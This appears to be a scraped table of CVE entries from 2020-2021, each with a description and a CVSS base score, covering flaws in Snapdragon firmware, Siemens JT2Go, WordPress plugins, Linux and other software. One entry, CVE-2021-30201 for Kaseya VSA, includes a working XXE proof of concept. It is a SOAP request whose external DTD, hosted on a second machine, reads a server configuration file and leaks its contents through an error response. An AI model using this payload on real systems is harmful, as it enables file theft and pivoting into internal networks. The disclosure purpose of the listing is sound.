CVE-2021-33012	Rockwell Automation MicroLogix 1100, all versions, allows a remote, unauthenticated attacker sending specially crafted commands to cause the PLC to fault when the controller is switched to RUN mode, which results in a denial-of-service condition. If successfully exploited, this vulnerability will cause the controller to fault whenever the controller is switched to RUN mode.	8.6	More Details
CVE-2020-24144	Directory traversal in the Media File Organizer (aka media-file-organizer) plugin 1.0.1 for WordPress lets an attacker get access to files that are stored outside the web root folder via the items[] parameter in a move operation.	8.6	More Details
CVE-2021-1889	Possible buffer overflow due to lack of length check in Trusted Application in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon IoT, Snapdragon Voice & Music, Snapdragon Wearables	8.4	More Details
CVE-2021-1890	Improper length check of public exponent in RSA import key function could cause memory corruption. in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon IoT, Snapdragon Voice & Music, Snapdragon Wearables	8.4	More Details
CVE-2021-1940	Use after free can occur due to improper handling of response from firmware in Snapdragon Auto, Snapdragon Compute, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables	8.4	More Details
CVE-2021-1886	Incorrect handling of pointers in trusted application key import mechanism could cause memory corruption in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon IoT, Snapdragon Voice & Music, Snapdragon Wearables	8.4	More Details
CVE-2021-1888	Memory corruption in key parsing and import function due to double freeing the same heap allocation in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon IoT, Snapdragon Voice & Music, Snapdragon Wearables	8.4	More Details
CVE-2021-23405	This affects the package pimcore/pimcore before 10.0.7. This issue exists due to the absence of check on the storeId parameter in the method collectionsActionGet and groupsActionGet method within the ClassificationstoreController class.	8.3	More Details
CVE-2021-32753	EdgeX Foundry is an open source project for building a common open framework for internet-of-things edge computing. A vulnerability exists in the Edinburgh, Fuji, Geneva, and Hanoi versions of the software. When the EdgeX API gateway is configured for OAuth2 authentication and a proxy user is created, the client_id and client_secret required to obtain an OAuth2 authentication token are set to the username of the proxy user. A remote network attacker can then perform a dictionary-based password attack on the OAuth2 token endpoint of the API gateway to obtain an OAuth2 authentication token and use that token to make authenticated calls to EdgeX microservices from an untrusted network. OAuth2 is the default authentication method in EdgeX Edinburgh release. The default authentication method was changed to JWT in Fuji and later releases. Users should upgrade to the EdgeX Ireland release to obtain the fix. The OAuth2 authentication method is disabled in Ireland release. If unable to upgrade and OAuth2 authentication is required, users should create OAuth2 users directly using the Kong admin API and forgo the use of the `security-proxy-setup` tool to create OAuth2 users.	8.3	More Details
CVE-2021-22555	A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c. This allows an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space	8.3	More Details
CVE-2021-20595	Improper Restriction of XML External Entity Reference vulnerability in Mitsubishi Electric Air Conditioning System/Centralized Controllers (G-50A Ver.3.35 and prior, GB-50A Ver.3.35 and prior, GB-24A Ver.9.11 and prior, AG-150A-A Ver.3.20 and prior, AG-150A-J Ver.3.20 and prior, GB-50ADA-A Ver.3.20 and prior, GB-50ADA-J Ver.3.20 and prior, EB-50GU-A Ver 7.09 and prior, EB-50GU-J Ver 7.09 and prior, AE-200A Ver 7.93 and prior, AE-200E Ver 7.93 and prior, AE-50A Ver 7.93 and prior, AE-50E Ver 7.93 and prior, EW-50A Ver 7.93 and prior, EW-50E Ver 7.93 and prior, TE-200A Ver 7.93 and prior, TE-50A Ver 7.93 and prior, TW-50A Ver 7.93 and prior, CMS-RMD-J Ver.1.30 and prior), Air Conditioning System/Expansion Controllers (PAC-YG50ECA Ver.2.20 and prior) and Air Conditioning System/BM adapter(BAC-HD150 Ver.2.21 and prior) allows a remote unauthenticated attacker to disclose some of data in the air conditioning system or cause a DoS condition by sending specially crafted packets.	8.2	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-20024	Multiple Out-of-Bound read vulnerability in SonicWall Switch when handling LLDP Protocol allows an attacker to cause a system instability or potentially read sensitive information from the memory locations.	8.1	More Details
CVE-2021-32689	Nextcloud Talk is a fully on-premises audio/video and chat communication service. In versions prior to 11.2.2, if a user was able to reuse an earlier used username, they could get access to any chat message sent to the previous user with this username. The issue was patched in versions 11.2.2 and 11.3.0. As a workaround, don't allow users to choose usernames themselves. This is the default behaviour of Nextcloud, but some user providers may allow doing so.	8.1	More Details
CVE-2021-36367	PuTTY through 0.75 proceeds with establishing an SSH session even if it has never sent a substantive authentication response. This makes it easier for an attacker-controlled SSH server to present a later spoofed authentication prompt (that the attacker can use to capture credential data, and use that data for purposes that are undesired by the client user).	8.1	More Details
CVE-2020-24146	Directory traversal in the CM Download Manager (aka cm-download-manager) plugin 2.7.0 for WordPress allows authorized users to delete arbitrary files and possibly cause a denial of service via the fileName parameter in a deletescreenshot action.	8.1	More Details
CVE-2021-21775	A use-after-free vulnerability exists in the way certain events are processed for ImageLoader objects of Webkit WebKitGTK 2.30.4. A specially crafted web page can lead to a potential information leak and further memory corruption. In order to trigger the vulnerability, a victim must be tricked into visiting a malicious webpage.	8.0	More Details
CVE-2021-24441	The Sign-up Sheets WordPress plugin before 1.0.14 does not not sanitise or validate the Sheet title when generating the CSV to export, which could lead to a CSV injection issue	8.0	More Details
CVE-2020-28598	An out-of-bounds write vulnerability exists in the Admesh stl_fix_normal_directions() functionality of Prusa Research PrusaSlicer 2.2.0 and Master (commit 4b040b856). A specially crafted AMF file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.	7.8	More Details
CVE-2021-34301	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The BMP_Loader.dll library in affected applications lacks proper validation of user-supplied data prior to performing further free operations on an object when parsing BMP files. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13196)	7.8	More Details
CVE-2021-21794	An out-of-bounds write vulnerability exists in the TIF bits_per_sample processing functionality of Accusoft ImageGear 19.9. A specially crafted malformed file can lead to memory corruption. An attacker can provide a malicious file to trigger this vulnerability.	7.8	More Details
CVE-2021-34296	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The BMP_Loader.dll library in affected applications lacks proper validation of user-supplied data when parsing BMP files. This could result in an out of bounds read past the end of an allocated buffer. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13057)	7.8	More Details
CVE-2021-25428	Improper validation check vulnerability in PackageManager prior to SMR July-2021 Release 1 allows untrusted applications to get dangerous level permission without user confirmation in limited circumstances.	7.8	More Details
CVE-2021-32461	Trend Micro Password Manager (Consumer) version 5.0.0.1217 and below is vulnerable to an Integer Truncation Privilege Escalation vulnerability which could allow a local attacker to trigger a buffer overflow and escalate privileges on affected installations. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.	7.8	More Details
CVE-2021-34300	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Tiff_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing TIFF files. This could result in an out of bounds write past the end of an allocated buffer. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13194)	7.8	More Details
CVE-2021-34298	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The BMP_Loader.dll library in affected applications lacks proper validation of user-supplied data prior to performing further free operations on an object when parsing BMP files. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13060)	7.8	More Details
CVE-2021-34110	WinWaste.NET version 1.0.6183.16475 has incorrect permissions, allowing a local unprivileged user to replace the executable with a malicious file that will be executed with "LocalSystem" privileges.	7.8	More Details
CVE-2021-34305	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Gif_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing GIF files. This could result in an out of bounds write past the end of an allocated structure. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13340)	7.8	More Details
CVE-2021-35039	kernel/module.c in the Linux kernel before 5.12.14 mishandles Signature Verification, aka CID-0c18f29aae7c. Without CONFIG_MODULE_SIG, verification that a kernel module is signed, for loading via init_module, does not occur for a module.sig_enforce=1 command-line argument.	7.8	More Details
CVE-2021-34295	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Gif_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing GIF files. This could result in an out of bounds write past the end of an allocated structure. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13024)	7.8	More Details
CVE-2021-27034	A heap-based buffer overflow could occur while parsing PICT, PCX, RCL or TIFF files in Autodesk Design Review 2018, 2017, 2013, 2012, 2011. This vulnerability can be exploited to execute arbitrary code.	7.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-22921	Node.js before 16.4.1, 14.17.2, and 12.22.2 is vulnerable to local privilege escalation attacks under certain conditions on Windows platforms. More specifically, improper configuration of permissions in the installation directory allows an attacker to perform two different escalation attacks: PATH and DLL hijacking.	7.8	More Details
CVE-2020-7872	DaviewIndy v8.98.7.0 and earlier versions have a Integer overflow vulnerability, triggered when the user opens a malformed format file that is mishandled by DaviewIndy. Attackers could exploit this and arbitrary code execution.	7.8	More Details
CVE-2021-26106	An improper neutralization of special elements used in an OS Command vulnerability in FortiAP's console 6.4.1 through 6.4.5 and 6.2.4 through 6.2.5 may allow an authenticated attacker to execute unauthorized commands by running the kdbg CLI command with specifically crafted arguments.	7.8	More Details
CVE-2021-33792	Foxit Reader before 10.1.4 and PhantomPDF before 10.1.4 have an out-of-bounds write via a crafted /Size key in the Trailer dictionary.	7.8	More Details
CVE-2021-27039	A maliciously crafted TIFF and PCX file can be forced to read and write beyond allocated boundaries when parsing the TIFF and PCX file for based overflow. This vulnerability can be exploited to execute arbitrary code.	7.8	More Details
CVE-2021-27038	A Type Confusion vulnerability in Autodesk Design Review 2018, 2017, 2013, 2012, 2011 can occur when processing a maliciously crafted PDF file. A malicious actor can leverage this to execute arbitrary code.	7.8	More Details
CVE-2021-27037	A maliciously crafted PNG, PDF or DWF file in Autodesk Design Review 2018, 2017, 2013, 2012, 2011 can be used to attempt to free an object that has already been freed while parsing them. This vulnerability may be exploited by remote malicious actors to execute arbitrary code.	7.8	More Details
CVE-2021-27036	A maliciously crafted PCX, PICT, RCL, TIF, BMP, PSD or TIFF file can be used to write beyond the allocated buffer while parsing PCX, PDF, PICT, RCL, BMP, PSD or TIFF files. This vulnerability can be exploited to execute arbitrary code	7.8	More Details
CVE-2021-27035	A maliciously crafted TIFF, TIF, PICT, TGA, or DWF files in Autodesk Design Review 2018, 2017, 2013, 2012, 2011 can be forced to read beyond allocated boundaries when parsing the TIFF, PICT, TGA or DWF files. This vulnerability in conjunction with other vulnerabilities could lead to code execution in the context of the current process.	7.8	More Details
CVE-2021-27033	A Double Free vulnerability allows remote attackers to execute arbitrary code on PDF files within affected installations of Autodesk Design Review 2018, 2017, 2013, 2012, 2011. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.	7.8	More Details
CVE-2021-25438	Improper access control vulnerability in Samsung Members prior to versions 2.4.85.11 in Android O(8.1) and below, and 3.9.10.11 in Android P(9.0) and above allows untrusted applications to cause local file inclusion in webview.	7.8	More Details
CVE-2021-3612	An out-of-bounds memory write flaw was found in the Linux kernel's joystick devices subsystem in versions before 5.9-rc1, in the way the user calls ioctl JSIOCSBTNMAP. This flaw allows a local user to crash the system or possibly escalate their privileges on the system. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.	7.8	More Details
CVE-2021-34309	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Tiff_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing TIFF files. This could result in an out of bounds write past the end of an allocated structure. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13350)	7.8	More Details
CVE-2021-31893	A vulnerability has been identified in SIMATIC PCS 7 V8.2 and earlier (All versions), SIMATIC PCS 7 V9.0 (All versions < V9.0 SP3), SIMATIC PDM (All versions < V9.2), SIMATIC STEP 7 V5.X (All versions < V5.6 SP2 HF3), SINAMICS STARTER (containing STEP 7 OEM version) (All versions < V5.4 HF2). The affected software contains a buffer overflow vulnerability while handling certain files that could allow a local attacker to trigger a denial-of-service condition or potentially lead to remote code execution.	7.8	More Details
CVE-2021-34291	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Gif_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing GIF files. This could result in an out of bounds write past the end of an allocated structure. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-12956)	7.8	More Details
CVE-2021-34292	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Tiff_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing TIFF files. This could result in an out of bounds read past the end of an allocated buffer. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-12959)	7.8	More Details
CVE-2021-34293	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Gif_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing GIF files. This could result in an out of bounds write past the end of an allocated structure. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13020)	7.8	More Details
CVE-2021-25441	Improper input validation vulnerability in AR Emoji Editor prior to version 4.4.03.5 in Android Q(10.0) and above allows untrusted applications to access arbitrary files with an escalated privilege.	7.8	More Details
CVE-2021-25440	Improper access control vulnerability in FactoryCameraFB prior to version 3.4.74 allows untrusted applications to access arbitrary files with an escalated privilege.	7.8	More Details
CVE-2021-34294	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Gif_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing GIF files. This could result in an out of bounds read past the end of an allocated buffer. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13023	7.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-34306	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The BMP_Loader.dll library in affected applications lacks proper validation of user-supplied data when parsing BMP files. This could result in a memory corruption condition. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13342)	7.8	More Details
CVE-2021-34297	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The BMP_Loader.dll library in affected applications lacks proper validation of user-supplied data when parsing BMP files. This could result in an out of bounds write past the end of an allocated structure. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13059)	7.8	More Details
CVE-2021-34310	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Tiff_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing TIFF files. This could result in an out of bounds write past the end of an allocated structure. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13351)	7.8	More Details
CVE-2021-36376	dandavison delta before 0.8.3 on Windows resolves an executable's pathname as a relative path from the current directory.	7.8	More Details
CVE-2021-34328	A vulnerability has been identified in JT2Go (All versions < V13.2), Solid Edge SE2021 (All Versions < SE2021MP5), Teamcenter Visualization (All versions < V13.2). The plmxmlAdapterSE70.dll library in affected applications lacks proper validation of user-supplied data when parsing PAR files. This could result in an out of bounds write past the fixed-length heap-based buffer. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13424)	7.8	More Details
CVE-2021-34329	A vulnerability has been identified in JT2Go (All versions < V13.2), Solid Edge SE2021 (All Versions < SE2021MP5), Teamcenter Visualization (All versions < V13.2). The plmxmlAdapterSE70.dll library in affected applications lacks proper validation of user-supplied data when parsing PAR files. This could result in an out of bounds write past the fixed-length heap-based buffer. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13427)	7.8	More Details
CVE-2021-34326	A vulnerability has been identified in JT2Go (All versions < V13.2), Solid Edge SE2021 (All Versions < SE2021MP5), Teamcenter Visualization (All versions < V13.2). The plmxmlAdapterSE70.dll library in affected applications lacks proper validation of user-supplied data when parsing PAR files. This could result in an out of bounds write past the fixed-length heap-based buffer. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13422)	7.8	More Details
CVE-2021-34330	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Jt981.dll library in affected applications lacks proper validation of user-supplied data prior to performing further free operations on an object when parsing JT files. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13430)	7.8	More Details
CVE-2021-34324	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Jt981.dll library in affected applications lacks proper validation of user-supplied data prior to performing further free operations on an object when parsing JT files. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13420)	7.8	More Details
CVE-2021-34323	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Jt981.dll library in affected applications lacks proper validation of user-supplied data when parsing JT files. This could result in an out of bounds write past the end of an allocated structure. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13419)	7.8	More Details
CVE-2021-34319	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The BMP_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing SGI files. This could result in an out of bounds write past the end of an allocated structure. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13404)	7.8	More Details
CVE-2021-34331	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Jt981.dll library in affected applications lacks proper validation of user-supplied data when parsing JT files. This could result in an out of bounds write past the end of an allocated structure. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13442)	7.8	More Details
CVE-2021-34327	A vulnerability has been identified in JT2Go (All versions < V13.2), Solid Edge SE2021 (All Versions < SE2021MP5), Teamcenter Visualization (All versions < V13.2). The plmxmlAdapterSE70.dll library in affected applications lacks proper validation of user-supplied data when parsing ASM files. This could result in an out of bounds write past the fixed-length heap-based buffer. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13423)	7.8	More Details
CVE-2021-33220	An issue was discovered in CommScope Ruckus IoT Controller 1.7.1.0 and earlier. Hard-coded API Keys exist.	7.8	More Details
CVE-2021-22000	VMware Thinapp version 5.x prior to 5.2.10 contain a DLL hijacking vulnerability due to insecure loading of DLLs. A malicious actor with non-administrative privileges may exploit this vulnerability to elevate privileges to administrator level on the Windows operating system having VMware ThinApp installed on it.	7.8	More Details
CVE-2021-34318	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The BMP_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing PCT files. This could result in an out of bounds write past the end of an allocated structure. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13403)	7.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-34311	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Mono_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing J2K files. This could result in an out of bounds write past the end of an allocated structure. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13352)	7.8	More Details
CVE-2021-34316	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The DL180CoolType.dll library in affected applications lacks proper validation of user-supplied data when parsing PDF files. This could result in an out of bounds write past the end of an allocated structure. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13380)	7.8	More Details
CVE-2021-26273	The Agent in NinjaRMM 5.0.909 has Incorrect Access Control.	7.8	More Details
CVE-2021-21786	A privilege escalation vulnerability exists in the IOCTL 0x9c406144 handling of IOBit Advanced SystemCare Ultimate 14.2.0.220. A specially crafted I/O request packet (IRP) can lead to increased privileges. An attacker can send a malicious IRP to trigger this vulnerability.	7.8	More Details
CVE-2021-34315	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The BMP_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing SGI files. This could result in an out of bounds read past the end of an allocated buffer. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13356)	7.8	More Details
CVE-2021-34314	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The BMP_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing SGI files. This could result in an out of bounds write past the end of an allocated structure. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13355)	7.8	More Details
CVE-2021-34313	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Tiff_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing TIFF files. This could result in an out of bounds write past the fixed-length heap-based buffer. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13354)	7.8	More Details
CVE-2021-34312	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Tiff_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing TIFF files. This could result in an out of bounds write past the fixed-length heap-based buffer. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13353)	7.8	More Details
CVE-2021-34317	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The BMP_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing PCX files. This could result in an out of bounds write past the fixed-length heap-based buffer. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-13402)	7.8	More Details
CVE-2021-3637	A flaw was found in keycloak-model-infinispan in keycloak versions before 14.0.0 where authenticationSessions map in RootAuthenticationSessionEntity grows boundlessly which could lead to a DoS attack.	7.5	More Details
CVE-2020-24143	Directory traversal in the Video Downloader for TikTok (aka downloader-tiktok) plugin 1.3 for WordPress lets an attacker get access to files that are stored outside the web root folder via the njt-tk-download-video parameter.	7.5	More Details
CVE-2020-24149	Server-side request forgery (SSRF) in the Podcast Importer SecondLine (podcast-importer-secondline) plugin 1.1.4 for WordPress via the podcast_feed parameter in a secondline_import_initialize action to the secondlinepodcastimport page.	7.5	More Details
CVE-2021-36155	LengthPrefixedMessageReader in gRPC Swift 1.1.0 and earlier allocates buffers of arbitrary length, which allows remote attackers to cause uncontrolled resource consumption and deny service.	7.5	More Details
CVE-2021-1938	Possible assertion due to improper verification while creating and deleting the peer in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer Electronics Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wired Infrastructure and Networking	7.5	More Details
CVE-2012-1102	It was discovered that the XML::Atom Perl module before version 0.39 did not disable external entities when parsing XML from potentially untrusted sources. This may allow attackers to gain read access to otherwise protected resources, depending on how the library is used.	7.5	More Details
CVE-2021-36154	HTTP2ToRawGRPCServerCodec in gRPC Swift 1.1.1 and earlier allows remote attackers to deny service via the delivery of many small messages within a single HTTP/2 frame, leading to Uncontrolled Recursion and stack consumption.	7.5	More Details
CVE-2021-36153	Mismanaged state in GRPCWebToHTTP2ServerCodec.swift in gRPC Swift 1.1.0 and 1.1.1 allows remote attackers to deny service by sending malformed requests.	7.5	More Details
CVE-2020-25868	Pexip Infinity 22.x through 24.x before 24.2 has Improper Input Validation for call setup. An unauthenticated remote attacker can trigger a software abort (temporary loss of service).	7.5	More Details
CVE-2021-1887	An assertion can be reached in the WLAN subsystem while using the Wi-Fi Fine Timing Measurement protocol in Snapdragon Wired Infrastructure and Networking	7.5	More Details
CVE-2020-23079	SSRF vulnerability in Halo <=1.3.2 exists in the SMTP configuration, which can detect the server intranet.	7.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2020-22886	Buffer overflow vulnerability in function jsG_markobject in jsgc.c in mujs before 1.0.8, allows remote attackers to cause a denial of service.	7.5	More Details
CVE-2021-29794	IBM Tivoli Netcool/Impact 7.1.0.20 and 7.1.0.21 uses an insecure SSH server configuration which enables weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information. IBM X-Force ID: 203556.	7.5	More Details
CVE-2021-21995	OpenSLP as used in ESXi has a denial-of-service vulnerability due a heap out-of-bounds read issue. A malicious actor with network access to port 427 on ESXi may be able to trigger a heap out-of-bounds read in OpenSLP service resulting in a denial-of-service condition.	7.5	More Details
CVE-2021-27293	RestSharp < 106.11.8-alpha.0.13 uses a regular expression which is vulnerable to Regular Expression Denial of Service (ReDoS) when converting strings into DateTimes. If a server responds with a malicious string, the client using RestSharp will be stuck processing it for an exceedingly long time. Thus the remote server can trigger Denial of Service.	7.5	More Details
CVE-2021-36377	Fossil before 2.14.2 and 2.15.x before 2.15.2 often skips the hostname check during TLS certificate validation.	7.5	More Details
CVE-2021-26036	An issue was discovered in Joomla! 2.5.0 through 3.9.27. Missing validation of input could lead to a broken usergroups table.	7.5	More Details
CVE-2021-24020	A missing cryptographic step in the implementation of the hash digest algorithm in FortiMail 6.4.0 through 6.4.4, and 6.2.0 through 6.2.7 may allow an unauthenticated attacker to tamper with signed URLs by appending further data which allows bypass of signature verification.	7.5	More Details
CVE-2021-26038	An issue was discovered in Joomla! 2.5.0 through 3.9.27. Install action in com_installer lack the required hardcoded ACL checks for superusers. A default system is not affected cause the default ACL for com_installer is limited to super users already.	7.5	More Details
CVE-2021-30639	A vulnerability in Apache Tomcat allows an attacker to remotely trigger a denial of service. An error introduced as part of a change to improve error handling during non-blocking I/O meant that the error flag associated with the Request object was not reset between requests. This meant that once a non-blocking I/O error occurred, all future requests handled by that request object would fail. Users were able to trigger non-blocking I/O errors, e.g. by dropping a connection, thereby creating the possibility of triggering a DoS. Applications that do not use non-blocking I/O are not exposed to this vulnerability. This issue affects Apache Tomcat 10.0.3 to 10.0.4; 9.0.44; 8.5.64.	7.5	More Details
CVE-2021-33807	Cartadis Gespage through 8.2.1 allows Directory Traversal in gespage/doDownloadData and gespage/webapp/doDownloadData.	7.5	More Details
CVE-2021-20422	IBM Cloud Pak for Applications 4.3 could disclose sensitive information to a malicious attacker by accessing data stored in memory. IBM X-Force ID: 196304.	7.5	More Details
CVE-2021-30201	The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode> <faultstring>Server was unable to process request. ---> There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.	7.5	More Details
CVE-2021-20360	IBM Cloud Pak for Applications 4.3 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information. IBM X-Force ID: 195031.	7.5	More Details
CVE-2020-22907	Stack overflow vulnerability in function jsi_evalcode_sub in jsish before 3.0.18, allows remote attackers to cause a Denial of Service via a crafted value to the execute parameter.	7.5	More Details
CVE-2021-1945	Possible out of bound read due to lack of length check of Bandwidth-NSS IE in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wired Infrastructure and Networking	7.5	More Details
CVE-2020-22885	Buffer overflow vulnerability in mujs before 1.0.8 due to recursion in the GC scanning phase, allows remote attackers to cause a denial of service.	7.5	More Details

CVE Number	Description	Base Score	Reference
